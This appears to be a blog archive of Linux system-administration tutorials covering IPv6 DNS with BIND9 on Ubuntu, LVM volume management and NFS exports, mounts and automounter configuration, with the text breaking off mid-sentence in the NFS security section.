update /etc/hosts file with new hostname

IPV6 DNS INSTALLATION GUIDE

2013-12-22T00:22:00.001+05:30

IPV6 DNS INSTALLATION MANUAL

BIND ON UBNUTU LINUX

This Document will help you to install the IPv6 DNS Server on UBUNTU LINUX. The same method can also be used for the installation on other Linux Flavors . The Software described in the document is bind version 9 . All the Bind 9 and above are supporting IPv6 features.

Bind installation on Ubuntu Linux:

1. Install the Ubnutu Linux server 12.04 LTS server .

The OS is available on the following website www.ubuntu.com

The Operating system is available for 32 bit or 64 bit Architecture. The Operating System is available under Open Source Platform.

Install the OS with Std installation features.

2. The BIND installation

The bind software can be installed on the Server using following commands

# sudo apt-get install bind9

3. After installation assign the IP address i.e. ipv6 Address to the interface.

The file which we need to be edited

This is the file we need to edit for ipv6 address is /etc/network/interfaces

# This file describes the network interfaces available on your system

# and how to activate them. For more information, see interfaces(5).

# The loopback network interface

auto lo

iface lo inet loopback

# The primary network interface

auto eth0

#START OF IPV6 CONFIGRATION

iface eth0 inet6 static

pre-up modprobe ipv6

address 2001:0db8:0000:0000:0000:0000:0000:0005

netmask 48

gateway 2001:0db8:0000:0000:0000:0000:0000:0001

### END IPV6 configuration

iface eth0 inet static

address 100.100.100.5

netmask 255.255.255.0

network 100.100.100.0

broadcast 100.100.100.255

gateway 100.100.100.1

# dns-* options are implemented by the resolvconf package, if installed

dns-nameservers 100.100.100.5

dns-search test.com

the named.conf.options file should contain the following : /etc/bind/named.conf.options

acl v6range {

  2001:DB8::/32;

};

options {

directory "/var/cache/bind";

// If there is a firewall between you and nameservers you want

// to talk to, you may need to fix the firewall to allow multiple

// ports to talk. See http://www.kb.cert.org/vuls/id/800113

//========================================================================

// If BIND logs error messages about the root key being expired,

// you will need to update your keys. See https://www.isc.org/bind-keys

//========================================================================

dnssec-validation auto;

allow-query { v6range; };

auth-nxdomain no; # conform to RFC1035

listen-on-v6 { any; };

};

The Resolve.conf file should contain following lines

/etc/resolv.conf

# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)

# DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN

nameserver 2001:DB8::0005;

search test.com

After this we can restart the networking services & named services using following commands

#service bind9 restart.

The nslookup screenshot for the DNS Server is shown below:

Screenshot -1

The PC/Client Desktop needs to be configured using IPv6 DNS Server.

After assigning the IPv6 Address we can browse the following url http://test-ipv6.com to test the IPv6 DNS Server &

IPv6 Traffic.

We can also check the other tab (Summary) in the URL http://test-ipv6.com

Note : If there is firewall between Client and DNS Server allow the port no 53 on UDP and TCP .

*****

Logical Volume Linux

2012-08-27T12:45:00.001+05:30

This article describes a basic logic behind a Linux logical volume manager by showing real examples of configuration and usage. Although Debian Linux will be used for this tutorial, you can also apply the same command line syntax with other Linux distributions such as Red Hat, Mandriva, SuSe Linux and others.

1. This is what we are going to do

2. Create Partitions

For this Linux lvm example you need an unpartitioned hard disk /dev/sdb. First you need to create physical volumes. To do this you need partitions or a whole disk. It is possible to run pvcreate command on /dev/sdb, but I prefer to use partitions and from partitions I later create physical volumes.

Use your preferred partitioning tool to create partitions. In this example I have used cfdisk.

Partitions are ready to use.

3. Create physical volumes

Use the pvcreate command to create physical volumes.

# pvcreate /dev/sdb1

# pvcreate /dev/sdb2

The pvdisplay command displays all physical volumes on your system.

# pvdisplay

Alternatively the following command should be used:

# pvdisplay /dev/sdb1

4. Create Virtual Group

At this stage you need to create a virtual group which will serve as a container for your physical volumes. To create a virtual group with the name "mynew_vg" which will include /dev/sdb1 partition, you can issue the following command:

# vgcreate mynew_vg /dev/sdb1

To include both partitions at once you can use this command:

# vgcreate mynew_vg /dev/sdb1 /dev/sdb2

Feel free to add new physical volumes to a virtual group by using the vgextend command.

# vgextend mynew_vg /dev/sdb2

5. Create Logical Volumes

From your big cake (virtual group) you can cut pieces (logical volumes) which will be treated as a partitions for your linux system. To create a logical volume, named "vol01", with a size of 400 MB from the virtual group "mynew_vg" use the following command:

create a logical volume of size 400 MB -L 400
create a logical volume of size 4 GB -L 4G

# lvcreate -L 400 -n vol01 mynew_vg

With a following example you will create a logical volume with a size of 1GB and with the name vol02:

# lvcreate -L 1000 -n vol02 mynew_vg

Note the free size in virtual group.

6. Create File system on logical volumes

The logical volume is almost ready to use. All you need to do is to create a filesystem.:

# mkfs.ext3 -m 0 /dev/mynew_vg/vol01

the -m option specifies the percentage reserved for the super-user, set this to 0 if you wish not to waste any space, the default is 5%.

7. Edit /etc/fstab

Add an entry for your newly created logical volume into /etc/fstab

7.1. Mount logical volumes

Before you mount do not forget to create a mount point.

# mkdir /home/foobar

8. Extend logical volume

The biggest advantage of logical volume manager is that you can extend your logical volumes any time you are running out of the space. To increase the size of a logical volume by another 800 MB you can run this command:

# lvextend -L +800 /dev/mynew_vg/vol01

The command above does not actually increase the physical size of volume, to do that you need to:

# resize2fs  /dev/mynew_vg/vol01

Look at the figure below to see what problems you may encounter when extending a volume:

9. Remove logical volume

The command lvremove can be used to remove logical volumes. Make sure that before you attempt to remove logical volumes your logical volume does not have any valuable data stored on it, moreover, make sure the volume is unmounted.

# lvdisplay

# lvremove /dev/mynew_vg/vol02

NFS -Linux

2012-08-27T12:45:00.000+05:30

Remote Disk Access with NFS

[hide]

2.3 Important NFS Daemons

4.1 Configuring NFS on The Server

4.2 Configuring NFS on The Client

4.3 Accessing NFS Server Directories from the Client

5 Activating Modifications To The /etc/exports File

6 The NFS Automounter

6.1 Automounter Map Files

6.2 The Structure Of Direct And Indirect Map Files

6.3 Wildcards In Map Files

7 Troubleshooting NFS

7.4.1 Table 29.3 Error Thresholds For The "nfsstat" Command

8 Other NFS Considerations

9 Conclusion

Introduction

Samba is usually the solution of choice when you want to share disk space between
Linux and Windows machines. The Network File System protocol (NFS)
is used when disks need to be shared between Linux servers. Basic configuration
is fairly simple, and this chapter will explain all the essential steps. 

NFS Operation Overview

Linux data storage disks contain files stored in filesystems with a
standardized directory structure. New disks are added by attaching, or
mounting, the directories of their filesystems to a directory of an already
existing filesystem. This in effect makes the new hard disk transparently
appear to be a subdirectory of the filesystem to which it is attached. 

NFS was developed to allow a computer
system to access directories on remote computers by mounting them on a local
filesystem as if they were a local disk. The systems administrator on the NFS
server has to define the directories that need to be activated, or exported,
for access by the NFS clients, and
administrators on the clients need to define both the NFS
server and the subset of its exported directories to use. 

General NFS Rules

You should follow some general rules when configuring NFS.

Only export directories beneath the / directory.
Do not export a subdirectory of a directory that has already been exported. The exception being when the subdirectory is on a different physical device. Likewise, do not export the parent of a subdirectory unless it is on a separate device.
Only export local filesystems.

Keep in mind that when you mount any filesystem on a directory, the original
contents of the directory are ignored, or obscured, in favor of the files in
the mounted filesystem. When the filesystem is unmounted, then the original
files in the directory reappear unchanged. 

Key NFS Concepts

Data access over a network always introduces a variety of challenges,
especially if the operation is intended to be transparent to the user, as in
the case of NFS. Here are some key NFS
background concepts that will help in your overall understanding. 

VFS

The virtual filesystem (VFS) interface is the mechanism used by NFS
to transparently and automatically redirect all access to NFS-mounted
files to the remote server. This is done in such a way that files on the remote
NFS server appear to the user to be no
different than those on a local disk. 

VFS also translates these requests to match the actual filesystem format on
the NFS server's disks. This allows the NFS
server to be not only a completely different operating system, but also use
different naming schemes for files with different file attribute types. 

Stateless Operation

Programs that read and write to files on a local filesystem rely on the
operating system to track their access location within the file with a pointer.
As NFS is a network-based file system, and
networks can be unreliable, it was decided that the NFS
client daemon would act as a failsafe intermediary between regular programs
running on the NFS client and the NFS
server. 

Normally, when a server fails, file accesses timeout and the file pointers
are reset to zero. With NFS, the NFS
server doesn't maintain the file pointer information, the NFS
client does. This means that if an NFS
server suddenly fails, the NFS client can
precisely restart the file access once more after patiently waiting until the
server returns online. 

Caching

NFS clients typically request more data
than they need and cache the results in memory locally so that further
sequential access of the data can be done locally versus over the network. This
is also known as a read ahead cache. Data that's to be written to the NFS
server is cached with the data being written to the server when the cache
becomes full. Caching therefore helps to reduce the amount of network traffic
while simultaneously improving the speed of some types of data access. 

The NFS server caches information too,
such as the directory information for the most recently accessed files and a
read ahead cache for recently read files. 

NFS And Symbolic Links

You have to be careful with the use of symbolic links on exported NFS
directories. If an absolute link points to a directory on the NFS
server that hasn't been exported, then the NFS
client won't be able to access it. 

Unlike absolute links, relative symbolic links are interpreted relative to
the client's filesystem. Consider an example where the /data1 directory on the server
is mounted on the /data1 directory. If there is a link to the ../data2
directory on the NFS server and a directory
corresponding to ../data2 doesn't exist on the NFS
client, then an error will occur. 

Also, mounting a filesystem on a symbolic link actually mounts the
filesystem on the target of the symbolic link. You'll have to be careful not to
obscure the contents of this original directory in the process. Plan carefully
before doing this. 

NFS Background Mounting

NFS clients use the remote procedure call
(RPC) suite of network application helper programs to mount remote filesystems.
If the mount cannot occur during the default RPC timeout period, then the
client retries the mount process until the NFS
number of retires has been exceeded. The default is 10,000 minutes, which is
approximately a week. The difficulty here is that if the NFS
server is unavailable, the mount command will hang for a week until it returns
online. It is possible to use a bg option spawn the retries off as a subprocess
so that the main mount command can continue to process other requests. 

Hard and Soft Mounts

The process of continuous retrying, whether in the background or foreground,
is called a hard mount. NFS attempts to
guarantee the consistency of your data with these constant retries. With soft
mounts, repeated RPC failures cause the NFS
operation to fail not hang and data consistency is therefore not guaranteed.
The advantage is that the operation completes quickly, whether it fails or not.
The disadvantage is that the use of the soft option implies that you are using
an unreliable NFS server, if this is the
case it is best not to place critical data that needs to be updated regularly
or executable programs in such a location. 

NFS Versions

Three versions of NFS are available
currently: versions 2, 3, and 4. Version 1 was a prototype. This chapter
focuses on version 2, which: 

Supports files up to 4GB long
Requires an NFS server to successfully write data to its disks before the write request is considered successful
Has a limit of 8KB per read or write request.

The main differences with version 3 are that it 

Supports extremely large file sizes of up to 264 - 1 bytes
Supports the NFS server data updates as being successful when the data is written to the server's cache
Negotiates the data limit per read or write request between the client and server to a mutually decided optimal value.

Version 4 maintains many of version 3's features, but with the additions
that 

File locking and mounting are integrated in the NFS daemon and operate on a single, well known TCP port, making network security easier
File locking is mandatory, whereas before it was optional
Support for the bundling of requests from each client provides more efficient processing by the NFS server.

It is important to match the versions of NFS
running on clients and server to help ensure the necessary compatibility to get
NFS to work predictably. 

Important NFS Daemons

NFS isn't a single program, but a suite
of interrelated programs that work together to get the job done. 

rpcbind: (portmap in older versions of Linux) The primary daemon upon which all the others rely, rpcbind manages connections for applications that use the RPC specification. By default, rpcbind listens to TCP port 111 on which an initial connection is made. This is then used to negotiate a range of TCP ports, usually above port 1024, to be used for subsequent data transfers. You need to run rpcbind on both the NFS server and client.

nfs: Starts the RPC processes needed to serve shared NFS file systems. The nfs daemon needs to be run on the NFS server only.

nfslock: Used to allow NFS clients to lock files on the server via RPC processes. The nfslock daemon needs to be run on both the NFS server and client.

netfs: Allows RPC processes run on NFS clients to mount NFS filesystems on the server. The netfs daemon needs to be run on the NFS client only.

Now take a look at how to configure these daemons to create functional NFS
client/server peering. 

Installing NFS

RedHat Linux installs nfs by default, and also by default nfs is activated
when the system boots. You can determine whether you have nfs installed using
the RPM command in conjunction with the grep
command to search for all installed nfs packages. 

[root@bigboy tmp]# rpm -qa | grep nfs

redhat-config-nfs-1.1.3-1

nfs-utils-1.0.1-3.9

[root@bigboy tmp]#

A blank list means that you'll have to install the required packages. 

You also need to have the RPC rpcbind package installed, and the rpm command
can tell you whether it's on your system already. When you use rpm in
conjunction with grep, you can determine all the rpcbind applications
installed: 

[root@bigboy tmp]# rpm -q rpcbind

rpcbind-4.0-57

[root@bigboy tmp]#

A blank list means that you'll have to install the required packages. 

If nfs and rpcbind are not installed, they can be added fairly easily once
you find the nfs-utils and rpcbind RPMs. (If you need a refresher, see Chapter
6, "Installing Linux
Software".) Remember that RPM
filenames usually start with the software's name and a version number, as in
nfs-utils-1.1.3-1.i386.rpm. 

A Typical NFS Scenario

A small office has an old Linux server that is running out of disk space.
The office cannot tolerate any down time, even after hours, because the server
is accessed by overseas programmers and clients at nights and local ones by
day. 

Budgets are tight and the company needs a quick solution until it can get a
purchase order approved for a hardware upgrade. Another Linux server on the
network has additional disk capacity in its /data partition and the office
would like to expand into it as an interim expansion NFS
server. 

Configuring NFS on The Server

Both the NFS server and NFS
client have to have parts of the NFS package
installed and running. The server needs rpcbind, nfs, and nfslock operational,
as well as a correctly configured /etc/exports file. Here's how to do it. 

The /etc/exports File

The /etc/exports file is the main NFS
configuration file, and it consists of two columns. The first column lists the
directories you want to make available to the network. The second column has
two parts. The first part lists the networks or DNS domains that can get access
to the directory, and the second part lists NFS
options in brackets. 

For the scenario you need: 

Read-only access to the /data/files directory to all networks
Read/write access to the /home directory from all servers on the 192.168.1.0 /24 network, which is all addresses from 192.168.1.0 to 192.168.1.255
Read/write access to the /data/test directory from servers in the my-site.com DNS domain
Read/write access to the /data/database directory from a single server 192.168.1.203.

In all cases, use the sync option to ensure that file data cached in memory
is automatically written to the disk after the completion of any disk data
copying operation. 

#/etc/exports

/data/files           *(ro,sync)

/home                 192.168.1.0/24(rw,sync)

/data/test            *.my-site.com(rw,sync)

/data/database        192.168.1.203/32(rw,sync)

After configuring your /etc/exports file, you need to activate the settings,
but first make sure that NFS is running
correctly. 

Starting NFS on the Server

Configuring an NFS server is
straightforward: 

1) Use the chkconfig command to configure the required nfs and RPC rpcbind
daemons to start at boot. You also should activate NFS
file locking to reduce the risk of corrupted data. 

[root@bigboy tmp]# chkconfig --level 35 nfs on

[root@bigboy tmp]# chkconfig --level 35 nfslock on

[root@bigboy tmp]# chkconfig --level 35 rpcbind on

2) Use the init scripts in the /etc/init.d directory to start the nfs and
RPC rpcbind daemons. The examples use the start option, but when needed, you
can also stop and restart the processes with the stop and restart options. 

[root@bigboy tmp]# service rpcbind start

[root@bigboy tmp]# service nfs start

[root@bigboy tmp]# service nfslock start

3) Test whether NFS is running correctly
with the rpcinfo command. You should get a listing of running RPC programs that
must include mountd, portmapper, nfs, and nlockmgr. 

[root@bigboy tmp]# rpcinfo -p localhost

   program vers proto   port

    100000    2   tcp    111  portmapper

    100000    2   udp    111  portmapper

    100003    2   udp   2049  nfs

    100003    3   udp   2049  nfs

    100021    1   udp   1024  nlockmgr

    100021    3   udp   1024  nlockmgr

    100021    4   udp   1024  nlockmgr

    100005    1   udp   1042  mountd

    100005    1   tcp   2342  mountd

    100005    2   udp   1042  mountd

    100005    2   tcp   2342  mountd

    100005    3   udp   1042  mountd

    100005    3   tcp   2342  mountd

[root@bigboy tmp]#

Configuring NFS on The Client

NFS configuration on the client requires
you to start the NFS application; create a
directory on which to mount the NFS server's
directories that you exported via the /etc/exports file, and finally to mount
the NFS server's directory on your local
directory, or mount point. Here's how to do it all. 

Starting NFS on the Client

Three more steps easily configure NFS on
the client. 

1) Use the chkconfig command to configure the required nfs and RPC rpcbind
daemons to start at boot. Activate nfslock to lock the files and reduce the
risk of corrupted data. 

[root@smallfry tmp]# chkconfig --level 35 netfs on

[root@smallfry tmp]# chkconfig --level 35 nfslock on

[root@smallfry tmp]# chkconfig --level 35 rpcbind on

2) Use the init scripts in the /etc/init.d directory to start the nfs and
RPC rpcbind daemons. As on the server, the examples use the start option, but
you can also stop and restart the processes with the stop and restart options. 

[root@smallfry tmp]# service rpcbind start

[root@smallfry tmp]# service netfs start

[root@smallfry tmp]# service nfslock start

3) Test whether NFS is running correctly
with the rpcinfo command. The listing of running RPC programs you get must
include status, portmapper, and nlockmgr. 

[root@smallfry root]# rpcinfo -p

   program vers proto   port

    100000    2   tcp    111  portmapper

    100000    2   udp    111  portmapper

    100024    1   udp  32768  status

    100024    1   tcp  32768  status

    100021    1   udp  32769  nlockmgr

    100021    3   udp  32769  nlockmgr

    100021    4   udp  32769  nlockmgr

    100021    1   tcp  32769  nlockmgr

    100021    3   tcp  32769  nlockmgr

    100021    4   tcp  32769  nlockmgr

    391002    2   tcp  32770  sgi_fam

[root@smallfry root]#

NFS And DNS

The NFS client must have a matching pair
of forward and reverse DNS entries on the DNS server used by the NFS
server. In other words, a DNS lookup on the NFS
server for the IP address of the NFS client
must return a server name that will map back to the original IP address when a
DNS lookup is done on that same server name. 

[root@bigboy tmp]# host 192.168.1.102

201.1.168.192.in-addr.arpa domain name pointer 192-168-1-102.my-site.com.

[root@bigboy tmp]# host 192-168-1-102.my-site.com

192-168-1-102.my-site.com has address 192.168.1.102

[root@bigboy tmp]#

This is a security precaution added into the nfs package that lessens the
likelihood of unauthorized servers from gaining access to files on the NFS
server. Failure to correctly register your server IPs in DNS can result in
"fake hostname" errors: 

Nov  7 19:14:40 bigboy rpc.mountd: Fake hostname smallfry.my-site.com for 192.168.1.1 - forward lookup doesn't exist

Accessing NFS Server Directories from the Client

In most cases, users want their NFS
directories to be permanently mounted. This requires an entry in the /etc/fstab
file in addition to the creation of the mount point directory. 

The /etc/fstab File

The /etc/fstab file lists all the partitions that need to be auto-mounted
when the system boots. Therefore, you need to edit the /etc/fstab file if you
need the NFS directory to be made
permanently available to users on the NFS.
For the example, mount the /data/files directory on server bigboy (IP address
192.16801.100) as an NFS-type filesystem
using the local /mnt/nfs mount point directory. 

#/etc/fstab

#Directory                   Mount Point    Type   Options       Dump   FSCK

192.168.1.100:/data/files   /mnt/nfs        nfs    soft,nfsvers=2  0      0

This example used the soft and nfsvers options; Table 29.1 outlines these
and other useful NFS mounting options you
may want to use. See the NFS man pages for
more details. 

Table 29.1 Possible NFS Mount Options

Option	Description
`bg`	Retry mounting in the background if mounting initially fails
`fg`	Mount in the foreground
`soft`	Use soft mounting
`hard`	Use hard mounting
`rsize=n`	The amount of data NFS will attempt to access per read operation. The default is dependent on the kernel. For NFS version 2, set it to 8192 to assure maximum throughput.
`wsize=n`	The amount of data NFS will attempt to access per write operation. The default is dependent on the kernel. For NFS version 2, set it to 8192 to assure maximum throughput.
`nfsvers=n`	The version of NFS the mount command should attempt to use
`tcp`	Attempt to mount the filesystem using TCP packets: the default is UDP.
`intr`	If the filesystem is hard mounted and the mount times out, allow for the process to be aborted using the usual methods such as CTRL-C and the kill command.

The steps to mount the directory are fairly simple, as you'll see. 

Permanently Mounting The NFS Directory

You'll now create a mount point directory, /mnt/nfs, on which to mount the
remote NFS directory and then use the mount
-a command activate the mount. Notice how before mounting there were no files
visible in the /mnt/nfs directory, this changes after the mounting is
completed: 

[root@smallfry tmp]# mkdir /mnt/nfs

[root@smallfry tmp]# ls /mnt/nfs

[root@smallfry tmp]# mount -a

[root@smallfry tmp]# ls /mnt/nfs

ISO  ISO-RedHat  kickstart  RedHat

[root@smallfry tmp]#

Each time your system boots, it reads the /etc/fstab file and executes the
mount -a command, thereby making this a permanent NFS
mount. 

Note: There are multiple versions of NFS,
the most popular of which is version 2, which most NFS
clients use. Newer NFS servers may also be
able to handle NFS version 4. To be safe, it
is best to force the NFS server to export
directories as version 2 using the nfsvers=2 option in the /etc/fstab file as
shown in the example. Failure to do so may result in an error message. 

[root@probe-001 tmp]# mount -a

mount to NFS server '192.168.1.100' failed: server is down.

[root@probe-001 tmp]#

Manually Mounting NFS File Systems

If you don't want a permanent NFS mount,
then you can use the mount command without the /etc/fstab entry to gain access
only when necessary. This is a manual process; for an automated process, seen
in the section "The NFS
automounter." 

In this case, you're mounting the /data/files directory as an NFS-type
filesystem on the /mnt/nfs mount point. The NFS
server is bigboy whose IP address is 192.168.1.100. 

Notice how before mounting there were no files visible in the /mnt/nfs
directory, this changes after the mounting is complete: 

[root@smallfry tmp]# mkdir /mnt/nfs

[root@smallfry tmp]# ls /mnt/nfs

[root@smallfry tmp]# mount -t nfs 192.168.1.100:/data/files /mnt/nfs

[root@smallfry tmp]# ls /mnt/nfs

ISO  ISO-RedHat  kickstart  RedHat

[root@smallfry tmp]#

Congratulations! You've made your first steps towards being an NFS
administrator. 

Activating Modifications To The /etc/exports File

You can force your system to re-read the /etc/exports file by restarting NFS.
In a nonproduction environment, this may cause disruptions when an exported
directory suddenly disappears without prior notification to users. Here are
some methods you can use to update and activate the file with the least amount
of inconvenience to others. 

New Exports File

When no directories have yet been exported to NFS,
use the exportfs -a command. 

[root@bigboy tmp]# exportfs -a

Adding A Shared Directory To An Existing Exports File

When adding a shared directory, you can use the exportfs -r command to
export only the new entries. 

[root@bigboy tmp]# exportfs -r

Deleting, Moving Or Modifying A Share

Removing an exported directory from the /etc/exports file requires work on
both the NFS client and server. The steps
are: 

1) Unexport the mount point directory on the NFS
client using the umount command. In this case, you're unmounting the /mnt/nfs
mount point. 

[root@smallfry tmp]# umount /mnt/nfs

Note: You may also need to edit the /etc/fstab file of any entries
related to the mount point if you want to make the change permanent even after
rebooting. 

2) Comment out the corresponding entry in the NFS
server's /etc/exports file and reload the modified file. 

[root@bigboy tmp]# exportfs -ua

[root@bigboy tmp]# exportfs -a

You have now completed a seamless removal of the exported directory with
much less chance of having critical errors. 

The NFS Automounter

The permanent mounting of filesystems has its disadvantages. For example,
the /etc/fstab file is unique per Linux server and has to be individually
edited on each. NFS client management,
therefore, becomes more difficult. Also, the mount is permanent, tying up
system resources even when the NFS server
isn't being accessed. 

NFS uses an automounter feature that
overcomes these shortcomings by allowing you to bypass the /etc/fstab file for NFS
mounts, instead using an NFS-specific map
file that can be distributed to multiple clients. In addition, you can use the
file to specify the expected duration of the NFS
mount, after which time it is unmounted automatically. However, automounter
continues to report to the operating system kernel that the mount is still
active. When the kernel makes an NFS file
request, automounter intercepts it and mounts the remote directory on the mount
point defined in the map file. The mount point directory is dynamically created
by the automounter when needed, after the timeout period the remote directory
is unmounted and the mount point is deleted. 

Automounter Map Files

The master map file of automounter has a simple format that defines the name
of the mount point directory in the first column and the subsidiary map file
that controls its mounting in the second. You can add mounting options to a
third column. 

In the example, the /home directory needs to be automounted on an NFS
server and the configuration information is defined in the /etc/auto.home file.
Finally, the mount will only last for five minutes (300 seconds), and this
value will act as a default for all the entries in the /etc/auto.home file. 

Irregular entries that don't match /home are placed in the /etc/auto.direct
file. 

# File: /etc/auto.master

/home   /etc/auto.home --timeout=300

/-      /etc/auto.direct

Direct Maps

Direct maps are used to define NFS
filesystems that are mounted on different servers or that all don't start with
the same prefix. 

Indirect Maps

Indirect maps define directories that can be mounted under the same mount
point. A good example would be all the users' directories under /home. 

Note: Based on preliminary testing, an early release of Fedora Core 3
doesn't appear to work correctly with automounter. You have to have one
indirect map defined to avoid startup errors, and after doing so, the maps
don't appear to be activated. No errors occur in the logs either. 

The Structure Of Direct And Indirect Map Files

The format of these map files is similar to that of the /etc/auto.master
file, except that columns two and three have been switched. 

Column one lists all the directory keys that will activate the automounter
feature. It is also the name of the mount point under the directory listed in
the /etc/auto.master file. The second column provides all the NFS
options to be used, and the third column lists the NFS
servers and the filesystems that map to the keys. 

When the NFS client accesses a file, it
refers to the keys in the /etc/auto.master file to see whether any fall within
the realm of the automounter's responsibility. If one does, then automounter
checks the subsidiary map file for subdirectory mount point key. If it finds
one, then automounter mounts the files for the system. 

Indirect Map File Example

In the previous example, the /etc/auto.master file redirected all references
to the /home directory to the /etc/auto.home file. This second file has entries
for peter, bob, and bunny; these directories are actually mount points for
directories on servers bigboy, ochorios, and waitabit. 

# File: /etc/auto.home

peter   bigboy:/home/peter

bob     ochorios:/home/bob

bunny   waitabit:/home/bunny

Direct Map File Example

The second entry in the /etc/auto.master file was specifically created to
handle all references to one of a kind directory prefixes. In the example the
/data/sales and /sql/database are the mount points for directories on servers
bigboy and waitabit. 

# File: /etc/auto.direct

/data/sales          -rw           bigboy:/disk1/data/sales

/sql/database        -ro,soft       waitabit:/var/mysql/database

Note: The automounter treats direct mounts as if they were files in a
directory, not as individual directories. This means all direct mount points in
the same directory are mounted simultaneously even if only one of them is being
accessed. This can cause excessive mounting activity that can slow response
times. There are tricks you can use to avoid this, perhaps the simplest is just
to place direct mount points in different directories. 

Note: Direct map entries in the /etc/auto.master file must all begin
with /-, and you can use absolute path names with direct map files only, if you
don't then you'll get an error like this in your /var/log/messages file: 

Nov  7 19:24:12 smallfry automount[31801]: bad map format: found indirect, expected direct exiting

Wildcards In Map Files

You can use two types of wildcards in a map file. The asterisk (*), which
means all, and the ampersand (&), which instructs automounter to substitute
the value of the key for the & character. 

Using the Ampersand Wildcard

In the example below, the key is peter, so the ampersand wildcard is
interpreted to mean peter too. This means you'll be mounting the
bigboy:/home/peter directory. 

# File: /etc/auto.home

peter   bigboy:/home/&

Using the Asterisk Wildcard

In the example below, the key is *, meaning that automounter will attempt to
mount any attempt to enter the /home directory. But what's the value of the
ampersand? It is actually assigned the value of the key that triggered the
access to the /etc/auto.home file. If the access was for /home/peter, then the
ampersand is interpreted to mean peter, and bigboy:/home/peter is mounted. If
access was for /home/bob, then bigboy:/home/bob would be mounted. 

# File: /etc/auto.home

*   bigboy:/home/&

Starting Automounter

Fedora Linux installs the automounter RPM,
called autofs, by default . Here are some quick steps to get automounter
started. 

1) Use the chkconfig command to configure the automounter daemons to start
at boot. Activate NFS file locking to reduce
the risk of corrupted data. 

[root@bigboy tmp]# chkconfig autofs on

2) Use the init scripts in the /etc/init.d directory to start the
automounter daemons. The example uses the start option, but you can also stop
and restart the process with the stop and restart options. 

[root@bigboy tmp]# service autofs start

3) Use the pgrep command to determine whether automounter is running. If it
is, the command will return the process ID of the automount daemon. 

[root@bigboy tmp]# pgrep automount

[root@bigboy tmp]#

As you can see, managing the startup of automounter is very similar to that
of other Linux applications and should be easy to remember. 

Automounter Examples

Now that you understand NFS automounter,
you may benefit from an example. Chapter 30, "Configuring NIS",
contains a full scenario in which a school computer laboratory uses automounter
to centrally house all the home directories of its students. Additional
centralization is also achieved by using NIS
for login authentication, access, and accounting control. 

Troubleshooting NFS

A basic NFS configuration usually works
without problems when the client and server are on the same network. The most
common problems are caused by forgetting to start NFS,
to edit the /etc/fstab file, or to export the /etc/exports file. Another common
cause of failure is the iptables firewall daemon running on either the server
or client without the administrator realizing it. 

When the client and server are on different networks, these checks still
apply, but you'll also have to make sure basic connectivity has been taken care
of as outlined in Chapter 4, "Simple Network
Troubleshooting". Sometimes a firewall being present on the path
between the client and server can cause difficulties. 

As always, no troubleshooting plan would be complete without frequent
reference to the /var/log/messages file when searching for additional clues.
Table 29.2 shows some common NFS errors
you'll encounter. 

Table 29.2 Some Common NFS Error Messages

Error	Description
Too many levels of remote in path	Attempting to mount a filesystem that has already been mounted.
Permission denied	User is denied access. This could be the client's root user who has unprivileged status on the server due to the root_squash option. Could also be because the user on the client doesn't exist on the server.
No such host	Typographical or DNS configuration error in the name of the server.
No such file or directory	Typographical error in the name of the file or directory: they don't exist.
NFS server is not responding	The server could be overloaded or down.
Stale file handle	A file that was previously accessed by the client was deleted on the server before the client closed it.
Fake hostname	Forward and reverse DNS entries don't exist for the NFS client.

The showmount Command

When run on the server, the showmount -a command lists all the currently
exported directories. It also shows a list of NFS
clients accessing the server, in this case one client has an IP address of
192.168.1.102. 

[root@bigboy tmp]# showmount -a

All mount points on bigboy:

*:/home

192.168.1.102:*

[root@bigboy tmp]#

The "df" Command

The df command lists the disk usage of a mounted filesystem. Run it on the NFS
client to verify that NFS mounting has
occurred. In many cases, the root_squash mount option will prevent the root
user from doing this, so it's best to try it as an unprivileged user. 

[nfsuser@smallfry nfsuser]$ df -F nfs

Filesystem           1K-blocks      Used Available Use% Mounted on

192.168.1.100:/home/nfsuser

                       1032056    346552    633068  36% /home/nfsuser

[nfsuser@smallfry nfsuser]$

The nfsstat Command

The nfsstat command provides useful error statistics. The -s option provides NFS server stats, while the -c option provides them of for clients. Other NFS Considerations

Security

NFS and rpcbind have had a number of
known security deficiencies in the past. As a result, I don't recommended using
NFS over insecure networks. NFS
doesn't encrypt data and it is possible for root users on NFS
clients to have root access the server's filesystems. You can exercise
security-related caution with NFS by
following a few guidelines: 

Restrict its use to secure networks
Export only the most needed data
Consider using read-only exports whenever data updates aren't necessary.
Use the root_squash option in /etc/exports file (default) to reduce the risk of the possibility of a root user on the NFS client having root file permission access on the NFS server. This is normally an undesirable condition, especially if the NFS client and NFS server are being managed by different sets of administrators.
Make NFS run on predefined TCP and UDP ports as this makes the management of firewall rules much easier. This can be done by editing your /etc/sysconfig/nfs file. In this example we are using ports 4000 to 4003 for the lockd, mountd, statd and rquotad daemons that are a part of NFS. The other NFS components, rpcbind and nfs, always run on TCP/UDP ports 111 and 2049 respectively.

# File: /etc/sysconfig/nfs file

RQUOTAD_PORT=4003

LOCKD_TCPPORT=4001

LOCKD_UDPPORT=4001

MOUNTD_PORT=4002

STATD_PORT=4000

These points should be the foundation of your NFS
security policy, however, the list isn't comprehensive due to the concise scope
of this book. I'd suggest that you refer to a dedicated NFS
reference for more detailed advice. 

NFS Hanging

As stated before, if the NFS server
fails, the NFS client waits indefinitely for
it to return. This also forces programs relying on the same client server
relationship to wait indefinitely too. 

For this reason, use the soft option in the NFS
client's /etc/fstab file. This causes NFS to
report an I/O error to the calling program after a long timeout. 

You can reduce the risk of NFS hanging by
taking a number of precautions: 

Run NFS on a reliable network.
Avoid having NFS servers that NFS mount each other's filesystems or directories.
Always use the sync option whenever possible.
Do not have mission-critical computers rely on an NFS server to operate, unless the server's reliability can be guaranteed.
Do not include NFS-mounted directories as part of your search path, because a hung NFS connection to a directory in your search path could cause your shell to pause at that point in the search path until the NFS session is regained.

File Locking

NFS allows multiple clients to mount the
same directory, but NFS has a history of not
handling file locking well, although more recent versions are said to have
rectified the problem. Test your network-based applications thoroughly before
considering using NFS. 

Nesting Exports

NFS doesn't allow you to export directories
that are subdirectories of directories that have already been exported unless
they are on different partitions. 

Limiting root Access

NFS doesn't allow a root user on a NFS
client to have root privileges on the NFS
server. This can be disabled with the no_root_squash export option in the
/etc/exports file. This is normally an undesirable condition, especially if the
NFS client and NFS
server are being managed by different sets of administrators. 

Restricting Access to the NFS server

NFS doesn't provide restrictions on a
per-user basis. If a user named nfsuser exists on the NFS
